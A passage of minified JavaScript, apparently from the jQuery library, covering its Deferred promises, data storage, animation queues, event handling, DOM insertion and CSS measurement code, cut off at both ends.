n(e){ce.each(e,function(e,t){v(t)?r.unique&&f.has(t)||s.push(t):t&&t.length&&"string"!==x(t)&&n(t)})}(arguments),t&&!i&&c()),this},remove:function(){return ce.each(arguments,function(e,t){var n;while(-1<(n=ce.inArray(t,s,n)))s.splice(n,1),n<=l&&l--}),this},has:function(e){return e?-1<ce.inArray(e,s):0<s.length},empty:function(){return s&&(s=[]),this},disable:function(){return a=u=[],s=t="",this},disabled:function(){return!s},lock:function(){return a=u=[],t||i||(s=t=""),this},locked:function(){return!!a},fireWith:function(e,t){return a||(t=[e,(t=t||[]).slice?t.slice():t],u.push(t),i||c()),this},fire:function(){return f.fireWith(this,arguments),this},fired:function(){return!!o}};return f},ce.extend({Deferred:function(e){var o=[["notify","progress",ce.Callbacks("memory"),ce.Callbacks("memory"),2],["resolve","done",ce.Callbacks("once memory"),ce.Callbacks("once memory"),0,"resolved"],["reject","fail",ce.Callbacks("once memory"),ce.Callbacks("once memory"),1,"rejected"]],i="pending",a={state:function(){return i},always:function(){return s.done(arguments).fail(arguments),this},"catch":function(e){return a.then(null,e)},pipe:function(){var i=arguments;return ce.Deferred(function(r){ce.each(o,function(e,t){var n=v(i[t[4]])&&i[t[4]];s[t[1]](function(){var e=n&&n.apply(this,arguments);e&&v(e.promise)?e.promise().progress(r.notify).done(r.resolve).fail(r.reject):r[t[0]+"With"](this,n?[e]:arguments)})}),i=null}).promise()},then:function(t,n,r){var u=0;function l(i,o,a,s){return function(){var n=this,r=arguments,e=function(){var e,t;if(!(i<u)){if((e=a.apply(n,r))===o.promise())throw new TypeError("Thenable self-resolution");t=e&&("object"==typeof e||"function"==typeof e)&&e.then,v(t)?s?t.call(e,l(u,o,N,s),l(u,o,q,s)):(u++,t.call(e,l(u,o,N,s),l(u,o,q,s),l(u,o,N,o.notifyWith))):(a!==N&&(n=void 0,r=[e]),(s||o.resolveWith)(n,r))}},t=s?e:function(){try{e()}catch(e){ce.Deferred.exceptionHook&&ce.Deferred.exceptionHook(e,t.error),u<=i+1&&(a!==q&&(n=void 0,r=[e]),o.rejectWith(n,r))}};i?t():(ce.Deferred.getErrorHook?t.error=ce.Deferred.getErrorHook():ce.Deferred.getStackHook&&(t.error=ce.Deferred.getStackHook()),ie.setTimeout(t))}}return ce.Deferred(function(e){o[0][3].add(l(0,e,v(r)?r:N,e.notifyWith)),o[1][3].add(l(0,e,v(t)?t:N)),o[2][3].add(l(0,e,v(n)?n:q))}).promise()},promise:function(e){return null!=e?ce.extend(e,a):a}},s={};return ce.each(o,function(e,t){var n=t[2],r=t[5];a[t[1]]=n.add,r&&n.add(function(){i=r},o[3-e][2].disable,o[3-e][3].disable,o[0][2].lock,o[0][3].lock),n.add(t[3].fire),s[t[0]]=function(){return s[t[0]+"With"](this===s?void 0:this,arguments),this},s[t[0]+"With"]=n.fireWith}),a.promise(s),e&&e.call(s,s),s},when:function(e){var n=arguments.length,t=n,r=Array(t),i=ae.call(arguments),o=ce.Deferred(),a=function(t){return function(e){r[t]=this,i[t]=1<arguments.length?ae.call(arguments):e,--n||o.resolveWith(r,i)}};if(n<=1&&(L(e,o.done(a(t)).resolve,o.reject,!n),"pending"===o.state()||v(i[t]&&i[t].then)))return o.then();while(t--)L(i[t],a(t),o.reject);return o.promise()}});var H=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;ce.Deferred.exceptionHook=function(e,t){ie.console&&ie.console.warn&&e&&H.test(e.name)&&ie.console.warn("jQuery.Deferred exception: "+e.message,e.stack,t)},ce.readyException=function(e){ie.setTimeout(function(){throw e})};var O=ce.Deferred();function P(){C.removeEventListener("DOMContentLoaded",P),ie.removeEventListener("load",P),ce.ready()}ce.fn.ready=function(e){return O.then(e)["catch"](function(e){ce.readyException(e)}),this},ce.extend({isReady:!1,readyWait:1,ready:function(e){(!0===e?--ce.readyWait:ce.isReady)||(ce.isReady=!0)!==e&&0<--ce.readyWait||O.resolveWith(C,[ce])}}),ce.ready.then=O.then,"complete"===C.readyState||"loading"!==C.readyState&&!C.documentElement.doScroll?ie.setTimeout(ce.ready):(C.addEventListener("DOMContentLoaded",P),ie.addEventListener("load",P));var M=function(e,t,n,r,i,o,a){var s=0,u=e.length,l=null==n;if("object"===x(n))for(s in i=!0,n)M(e,t,s,n[s],!0,o,a);else if(void 0!==r&&(i=!0,v(r)||(a=!0),l&&(a?(t.call(e,r),t=null):(l=t,t=function(e,t,n){return l.call(ce(e),n)})),t))for(;s<u;s++)t(e[s],n,a?r:r.call(e[s],s,t(e[s],n)));return i?e:l?t.call(e):u?t(e[0],n):o},R=/^-ms-/,I=/-([a-z])/g;function W(e,t){return t.toUpperCase()}function F(e){return e.replace(R,"ms-").replace(I,W)}var $=function(e){return 1===e.nodeType||9===e.nodeType||!+e.nodeType};function B(){this.expando=ce.expando+B.uid++}B.uid=1,B.prototype={cache:function(e){var t=e[this.expando];return t||(t={},$(e)&&(e.nodeType?e[this.expando]=t:Object.defineProperty(e,this.expando,{value:t,configurable:!0}))),t},set:function(e,t,n){var r,i=this.cache(e);if("string"==typeof t)i[F(t)]=n;else for(r in t)i[F(r)]=t[r];return i},get:function(e,t){return void 0===t?this.cache(e):e[this.expando]&&e[this.expando][F(t)]},access:function(e,t,n){return void 0===t||t&&"string"==typeof t&&void 0===n?this.get(e,t):(this.set(e,t,n),void 0!==n?n:t)},remove:function(e,t){var n,r=e[this.expando];if(void 0!==r){if(void 0!==t){n=(t=Array.isArray(t)?t.map(F):(t=F(t))in r?[t]:t.match(D)||[]).length;while(n--)delete r[t[n]]}(void 0===t||ce.isEmptyObject(r))&&(e.nodeType?e[this.expando]=void 0:delete e[this.expando])}},hasData:function(e){var t=e[this.expando];return void 0!==t&&!ce.isEmptyObject(t)}};var _=new B,z=new B,X=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,U=/[A-Z]/g;function V(e,t,n){var r,i;if(void 0===n&&1===e.nodeType)if(r="data-"+t.replace(U,"-$&").toLowerCase(),"string"==typeof(n=e.getAttribute(r))){try{n="true"===(i=n)||"false"!==i&&("null"===i?null:i===+i+""?+i:X.test(i)?JSON.parse(i):i)}catch(e){}z.set(e,t,n)}else n=void 0;return n}ce.extend({hasData:function(e){return z.hasData(e)||_.hasData(e)},data:function(e,t,n){return z.access(e,t,n)},removeData:function(e,t){z.remove(e,t)},_data:function(e,t,n){return _.access(e,t,n)},_removeData:function(e,t){_.remove(e,t)}}),ce.fn.extend({data:function(n,e){var t,r,i,o=this[0],a=o&&o.attributes;if(void 0===n){if(this.length&&(i=z.get(o),1===o.nodeType&&!_.get(o,"hasDataAttrs"))){t=a.length;while(t--)a[t]&&0===(r=a[t].name).indexOf("data-")&&(r=F(r.slice(5)),V(o,r,i[r]));_.set(o,"hasDataAttrs",!0)}return i}return"object"==typeof n?this.each(function(){z.set(this,n)}):M(this,function(e){var t;if(o&&void 0===e)return void 0!==(t=z.get(o,n))?t:void 0!==(t=V(o,n))?t:void 0;this.each(function(){z.set(this,n,e)})},null,e,1<arguments.length,null,!0)},removeData:function(e){return this.each(function(){z.remove(this,e)})}}),ce.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=_.get(e,t),n&&(!r||Array.isArray(n)?r=_.access(e,t,ce.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=ce.queue(e,t),r=n.length,i=n.shift(),o=ce._queueHooks(e,t);"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,function(){ce.dequeue(e,t)},o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return _.get(e,n)||_.access(e,n,{empty:ce.Callbacks("once memory").add(function(){_.remove(e,[t+"queue",n])})})}}),ce.fn.extend({queue:function(t,n){var e=2;return"string"!=typeof t&&(n=t,t="fx",e--),arguments.length<e?ce.queue(this[0],t):void 0===n?this:this.each(function(){var e=ce.queue(this,t,n);ce._queueHooks(this,t),"fx"===t&&"inprogress"!==e[0]&&ce.dequeue(this,t)})},dequeue:function(e){return this.each(function(){ce.dequeue(this,e)})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,t){var n,r=1,i=ce.Deferred(),o=this,a=this.length,s=function(){--r||i.resolveWith(o,[o])};"string"!=typeof e&&(t=e,e=void 0),e=e||"fx";while(a--)(n=_.get(o[a],e+"queueHooks"))&&n.empty&&(r++,n.empty.add(s));return s(),i.promise(t)}});var G=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,Y=new RegExp("^(?:([+-])=|)("+G+")([a-z%]*)$","i"),Q=["Top","Right","Bottom","Left"],J=C.documentElement,K=function(e){return ce.contains(e.ownerDocument,e)},Z={composed:!0};J.getRootNode&&(K=function(e){return ce.contains(e.ownerDocument,e)||e.getRootNode(Z)===e.ownerDocument});var ee=function(e,t){return"none"===(e=t||e).style.display||""===e.style.display&&K(e)&&"none"===ce.css(e,"display")};function te(e,t,n,r){var i,o,a=20,s=r?function(){return r.cur()}:function(){return ce.css(e,t,"")},u=s(),l=n&&n[3]||(ce.cssNumber[t]?"":"px"),c=e.nodeType&&(ce.cssNumber[t]||"px"!==l&&+u)&&Y.exec(ce.css(e,t));if(c&&c[3]!==l){u/=2,l=l||c[3],c=+u||1;while(a--)ce.style(e,t,c+l),(1-o)*(1-(o=s()/u||.5))<=0&&(a=0),c/=o;c*=2,ce.style(e,t,c+l),n=n||[]}return n&&(c=+c||+u||0,i=n[1]?c+(n[1]+1)*n[2]:+n[2],r&&(r.unit=l,r.start=c,r.end=i)),i}var ne={};function re(e,t){for(var n,r,i,o,a,s,u,l=[],c=0,f=e.length;c<f;c++)(r=e[c]).style&&(n=r.style.display,t?("none"===n&&(l[c]=_.get(r,"display")||null,l[c]||(r.style.display="")),""===r.style.display&&ee(r)&&(l[c]=(u=a=o=void 0,a=(i=r).ownerDocument,s=i.nodeName,(u=ne[s])||(o=a.body.appendChild(a.createElement(s)),u=ce.css(o,"display"),o.parentNode.removeChild(o),"none"===u&&(u="block"),ne[s]=u)))):"none"!==n&&(l[c]="none",_.set(r,"display",n)));for(c=0;c<f;c++)null!=l[c]&&(e[c].style.display=l[c]);return e}ce.fn.extend({show:function(){return re(this,!0)},hide:function(){return re(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){ee(this)?ce(this).show():ce(this).hide()})}});var xe,be,we=/^(?:checkbox|radio)$/i,Te=/<([a-z][^\/\0>\x20\t\r\n\f]*)/i,Ce=/^$|^module$|\/(?:java|ecma)script/i;xe=C.createDocumentFragment().appendChild(C.createElement("div")),(be=C.createElement("input")).setAttribute("type","radio"),be.setAttribute("checked","checked"),be.setAttribute("name","t"),xe.appendChild(be),le.checkClone=xe.cloneNode(!0).cloneNode(!0).lastChild.checked,xe.innerHTML="<textarea>x</textarea>",le.noCloneChecked=!!xe.cloneNode(!0).lastChild.defaultValue,xe.innerHTML="<option></option>",le.option=!!xe.lastChild;var ke={thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};function Se(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&fe(e,t)?ce.merge([e],n):n}function Ee(e,t){for(var n=0,r=e.length;n<r;n++)_.set(e[n],"globalEval",!t||_.get(t[n],"globalEval"))}ke.tbody=ke.tfoot=ke.colgroup=ke.caption=ke.thead,ke.th=ke.td,le.option||(ke.optgroup=ke.option=[1,"<select multiple='multiple'>","</select>"]);var je=/<|&#?\w+;/;function Ae(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d<h;d++)if((o=e[d])||0===o)if("object"===x(o))ce.merge(p,o.nodeType?[o]:o);else if(je.test(o)){a=a||f.appendChild(t.createElement("div")),s=(Te.exec(o)||["",""])[1].toLowerCase(),u=ke[s]||ke._default,a.innerHTML=u[1]+ce.htmlPrefilter(o)+u[2],c=u[0];while(c--)a=a.lastChild;ce.merge(p,a.childNodes),(a=f.firstChild).textContent=""}else p.push(t.createTextNode(o));f.textContent="",d=0;while(o=p[d++])if(r&&-1<ce.inArray(o,r))i&&i.push(o);else if(l=K(o),a=Se(f.appendChild(o),"script"),l&&Ee(a),n){c=0;while(o=a[c++])Ce.test(o.type||"")&&n.push(o)}return f}var De=/^([^.]*)(?:\.(.+)|)/;function Ne(){return!0}function qe(){return!1}function Le(e,t,n,r,i,o){var a,s;if("object"==typeof t){for(s in"string"!=typeof n&&(r=r||n,n=void 0),t)Le(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=qe;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return ce().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=ce.guid++)),e.each(function(){ce.event.add(this,t,i,r,n)})}function He(e,r,t){t?(_.set(e,r,!1),ce.event.add(e,r,{namespace:!1,handler:function(e){var t,n=_.get(this,r);if(1&e.isTrigger&&this[r]){if(n)(ce.event.special[r]||{}).delegateType&&e.stopPropagation();else if(n=ae.call(arguments),_.set(this,r,n),this[r](),t=_.get(this,r),_.set(this,r,!1),n!==t)return e.stopImmediatePropagation(),e.preventDefault(),t}else n&&(_.set(this,r,ce.event.trigger(n[0],n.slice(1),this)),e.stopPropagation(),e.isImmediatePropagationStopped=Ne)}})):void 0===_.get(e,r)&&ce.event.add(e,r,Ne)}ce.event={global:{},add:function(t,e,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=_.get(t);if($(t)){n.handler&&(n=(o=n).handler,i=o.selector),i&&ce.find.matchesSelector(J,i),n.guid||(n.guid=ce.guid++),(u=v.events)||(u=v.events=Object.create(null)),(a=v.handle)||(a=v.handle=function(e){return"undefined"!=typeof ce&&ce.event.triggered!==e.type?ce.event.dispatch.apply(t,arguments):void 0}),l=(e=(e||"").match(D)||[""]).length;while(l--)d=g=(s=De.exec(e[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=ce.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=ce.event.special[d]||{},c=ce.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&ce.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(t,r,h,a)||t.addEventListener&&t.addEventListener(d,a)),f.add&&(f.add.call(t,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),ce.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,v=_.hasData(e)&&_.get(e);if(v&&(u=v.events)){l=(t=(t||"").match(D)||[""]).length;while(l--)if(d=g=(s=De.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d){f=ce.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,v.handle)||ce.removeEvent(e,d,v.handle),delete u[d])}else for(d in u)ce.event.remove(e,d+t[l],n,r,!0);ce.isEmptyObject(u)&&_.remove(e,"handle events")}},dispatch:function(e){var t,n,r,i,o,a,s=new Array(arguments.length),u=ce.event.fix(e),l=(_.get(this,"events")||Object.create(null))[u.type]||[],c=ce.event.special[u.type]||{};for(s[0]=u,t=1;t<arguments.length;t++)s[t]=arguments[t];if(u.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,u)){a=ce.event.handlers.call(this,u,l),t=0;while((i=a[t++])&&!u.isPropagationStopped()){u.currentTarget=i.elem,n=0;while((o=i.handlers[n++])&&!u.isImmediatePropagationStopped())u.rnamespace&&!1!==o.namespace&&!u.rnamespace.test(o.namespace)||(u.handleObj=o,u.data=o.data,void 0!==(r=((ce.event.special[o.origType]||{}).handle||o.handler).apply(i.elem,s))&&!1===(u.result=r)&&(u.preventDefault(),u.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,u),u.result}},handlers:function(e,t){var n,r,i,o,a,s=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!("click"===e.type&&1<=e.button))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n<u;n++)void 0===a[i=(r=t[n]).selector+" "]&&(a[i]=r.needsContext?-1<ce(i,this).index(l):ce.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u<t.length&&s.push({elem:l,handlers:t.slice(u)}),s},addProp:function(t,e){Object.defineProperty(ce.Event.prototype,t,{enumerable:!0,configurable:!0,get:v(e)?function(){if(this.originalEvent)return e(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[t]},set:function(e){Object.defineProperty(this,t,{enumerable:!0,configurable:!0,writable:!0,value:e})}})},fix:function(e){return e[ce.expando]?e:new ce.Event(e)},special:{load:{noBubble:!0},click:{setup:function(e){var t=this||e;return we.test(t.type)&&t.click&&fe(t,"input")&&He(t,"click",!0),!1},trigger:function(e){var t=this||e;return we.test(t.type)&&t.click&&fe(t,"input")&&He(t,"click"),!0},_default:function(e){var t=e.target;return we.test(t.type)&&t.click&&fe(t,"input")&&_.get(t,"click")||fe(t,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},ce.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},ce.Event=function(e,t){if(!(this instanceof ce.Event))return new ce.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?Ne:qe,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&ce.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[ce.expando]=!0},ce.Event.prototype={constructor:ce.Event,isDefaultPrevented:qe,isPropagationStopped:qe,isImmediatePropagationStopped:qe,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=Ne,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=Ne,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=Ne,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},ce.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,code:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:!0},ce.event.addProp),ce.each({focus:"focusin",blur:"focusout"},function(r,i){function o(e){if(C.documentMode){var t=_.get(this,"handle"),n=ce.event.fix(e);n.type="focusin"===e.type?"focus":"blur",n.isSimulated=!0,t(e),n.target===n.currentTarget&&t(n)}else ce.event.simulate(i,e.target,ce.event.fix(e))}ce.event.special[r]={setup:function(){var e;if(He(this,r,!0),!C.documentMode)return!1;(e=_.get(this,i))||this.addEventListener(i,o),_.set(this,i,(e||0)+1)},trigger:function(){return He(this,r),!0},teardown:function(){var e;if(!C.documentMode)return!1;(e=_.get(this,i)-1)?_.set(this,i,e):(this.removeEventListener(i,o),_.remove(this,i))},_default:function(e){return _.get(e.target,r)},delegateType:i},ce.event.special[i]={setup:function(){var e=this.ownerDocument||this.document||this,t=C.documentMode?this:e,n=_.get(t,i);n||(C.documentMode?this.addEventListener(i,o):e.addEventListener(r,o,!0)),_.set(t,i,(n||0)+1)},teardown:function(){var e=this.ownerDocument||this.document||this,t=C.documentMode?this:e,n=_.get(t,i)-1;n?_.set(t,i,n):(C.documentMode?this.removeEventListener(i,o):e.removeEventListener(r,o,!0),_.remove(t,i))}}}),ce.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,i){ce.event.special[e]={delegateType:i,bindType:i,handle:function(e){var t,n=e.relatedTarget,r=e.handleObj;return n&&(n===this||ce.contains(this,n))||(e.type=r.origType,t=r.handler.apply(this,arguments),e.type=i),t}}}),ce.fn.extend({on:function(e,t,n,r){return Le(this,e,t,n,r)},one:function(e,t,n,r){return Le(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,ce(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=qe),this.each(function(){ce.event.remove(this,e,n,t)})}});var Oe=/<script|<style|<link/i,Pe=/checked\s*(?:[^=]|=\s*.checked.)/i,Me=/^\s*<!\[CDATA\[|\]\]>\s*$/g;function Re(e,t){return fe(e,"table")&&fe(11!==t.nodeType?t:t.firstChild,"tr")&&ce(e).children("tbody")[0]||e}function Ie(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function We(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Fe(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(_.hasData(e)&&(s=_.get(e).events))for(i in _.remove(t,"handle events"),s)for(n=0,r=s[i].length;n<r;n++)ce.event.add(t,i,s[i][n]);z.hasData(e)&&(o=z.access(e),a=ce.extend({},o),z.set(t,a))}}function $e(n,r,i,o){r=g(r);var e,t,a,s,u,l,c=0,f=n.length,p=f-1,d=r[0],h=v(d);if(h||1<f&&"string"==typeof d&&!le.checkClone&&Pe.test(d))return n.each(function(e){var t=n.eq(e);h&&(r[0]=d.call(this,e,t.html())),$e(t,r,i,o)});if(f&&(t=(e=Ae(r,n[0].ownerDocument,!1,n,o)).firstChild,1===e.childNodes.length&&(e=t),t||o)){for(s=(a=ce.map(Se(e,"script"),Ie)).length;c<f;c++)u=e,c!==p&&(u=ce.clone(u,!0,!0),s&&ce.merge(a,Se(u,"script"))),i.call(n[c],u,c);if(s)for(l=a[a.length-1].ownerDocument,ce.map(a,We),c=0;c<s;c++)u=a[c],Ce.test(u.type||"")&&!_.access(u,"globalEval")&&ce.contains(l,u)&&(u.src&&"module"!==(u.type||"").toLowerCase()?ce._evalUrl&&!u.noModule&&ce._evalUrl(u.src,{nonce:u.nonce||u.getAttribute("nonce")},l):m(u.textContent.replace(Me,""),u,l))}return n}function Be(e,t,n){for(var r,i=t?ce.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||ce.cleanData(Se(r)),r.parentNode&&(n&&K(r)&&Ee(Se(r,"script")),r.parentNode.removeChild(r));return e}ce.extend({htmlPrefilter:function(e){return e},clone:function(e,t,n){var r,i,o,a,s,u,l,c=e.cloneNode(!0),f=K(e);if(!(le.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||ce.isXMLDoc(e)))for(a=Se(c),r=0,i=(o=Se(e)).length;r<i;r++)s=o[r],u=a[r],void 0,"input"===(l=u.nodeName.toLowerCase())&&we.test(s.type)?u.checked=s.checked:"input"!==l&&"textarea"!==l||(u.defaultValue=s.defaultValue);if(t)if(n)for(o=o||Se(e),a=a||Se(c),r=0,i=o.length;r<i;r++)Fe(o[r],a[r]);else Fe(e,c);return 0<(a=Se(c,"script")).length&&Ee(a,!f&&Se(e,"script")),c},cleanData:function(e){for(var t,n,r,i=ce.event.special,o=0;void 0!==(n=e[o]);o++)if($(n)){if(t=n[_.expando]){if(t.events)for(r in t.events)i[r]?ce.event.remove(n,r):ce.removeEvent(n,r,t.handle);n[_.expando]=void 0}n[z.expando]&&(n[z.expando]=void 0)}}}),ce.fn.extend({detach:function(e){return Be(this,e,!0)},remove:function(e){return Be(this,e)},text:function(e){return M(this,function(e){return void 0===e?ce.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return $e(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||Re(this,e).appendChild(e)})},prepend:function(){return $e(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Re(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return $e(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return $e(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(ce.cleanData(Se(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return ce.clone(this,e,t)})},html:function(e){return M(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!Oe.test(e)&&!ke[(Te.exec(e)||["",""])[1].toLowerCase()]){e=ce.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(ce.cleanData(Se(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var n=[];return $e(this,arguments,function(e){var t=this.parentNode;ce.inArray(this,n)<0&&(ce.cleanData(Se(this)),t&&t.replaceChild(e,this))},n)}}),ce.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,a){ce.fn[e]=function(e){for(var t,n=[],r=ce(e),i=r.length-1,o=0;o<=i;o++)t=o===i?this:this.clone(!0),ce(r[o])[a](t),s.apply(n,t.get());return this.pushStack(n)}});var _e=new RegExp("^("+G+")(?!px)[a-z%]+$","i"),ze=/^--/,Xe=function(e){var t=e.ownerDocument.defaultView;return t&&t.opener||(t=ie),t.getComputedStyle(e)},Ue=function(e,t,n){var r,i,o={};for(i in t)o[i]=e.style[i],e.style[i]=t[i];for(i in r=n.call(e),t)e.style[i]=o[i];return r},Ve=new RegExp(Q.join("|"),"i");function Ge(e,t,n){var r,i,o,a,s=ze.test(t),u=e.style;return(n=n||Xe(e))&&(a=n.getPropertyValue(t)||n[t],s&&a&&(a=a.replace(ve,"$1")||void 0),""!==a||K(e)||(a=ce.style(e,t)),!le.pixelBoxStyles()&&_e.test(a)&&Ve.test(t)&&(r=u.width,i=u.minWidth,o=u.maxWidth,u.minWidth=u.maxWidth=u.width=a,a=n.width,u.width=r,u.minWidth=i,u.maxWidth=o)),void 0!==a?a+"":a}function Ye(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}!function(){function e(){if(l){u.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",l.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",J.appendChild(u).appendChild(l);var e=ie.getComputedStyle(l);n="1%"!==e.top,s=12===t(e.marginLeft),l.style.right="60%",o=36===t(e.right),r=36===t(e.width),l.style.position="absolute",i=12===t(l.offsetWidth/3),J.removeChild(u),l=null}}function t(e){return Math.round(parseFloat(e))}var n,r,i,o,a,s,u=C.createElement("div"),l=C.createElement("div");l.style&&(l.style.backgroundClip="content-box",l.cloneNode(!0).style.backgroundClip="",le.clearCloneStyle="content-box"===l.style.backgroundClip,ce.extend(le,{boxSizingReliable:function(){return e(),r},pixelBoxStyles:function(){return e(),o},pixelPosition:function(){return e(),n},reliableMarginLeft:function(){return e(),s},scrollboxSize:function(){return e(),i},reliableTrDimensions:function(){var e,t,n,r;return null==a&&(e=C.createElement("table"),t=C.createElement("tr"),n=C.createElement("div"),e.style.cssText="position:absolute;left:-11111px;border-collapse:separate",t.style.cssText="box-sizing:content-box;border:1px solid",t.style.height="1px",n.style.height="9px",n.style.display="block",J.appendChild(e).appendChild(t).appendChild(n),r=ie.getComputedStyle(t),a=parseInt(r.height,10)+parseInt(r.borderTopWidth,10)+parseInt(r.borderBottomWidth,10)===t.offsetHeight,J.removeChild(e)),a}}))}();var Qe=["Webkit","Moz","ms"],Je=C.createElement("div").style,Ke={};function Ze(e){var t=ce.cssProps[e]||Ke[e];return t||(e in Je?e:Ke[e]=function(e){var t=e[0].toUpperCase()+e.slice(1),n=Qe.length;while(n--)if((e=Qe[n]+t)in Je)return e}(e)||e)}var et=/^(none|table(?!-c[ea]).+)/,tt={position:"absolute",visibility:"hidden",display:"block"},nt={letterSpacing:"0",fontWeight:"400"};function rt(e,t,n){var r=Y.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function it(e,t,n,r,i,o){var a="width"===t?1:0,s=0,u=0,l=0;if(n===(r?"border":"content"))return 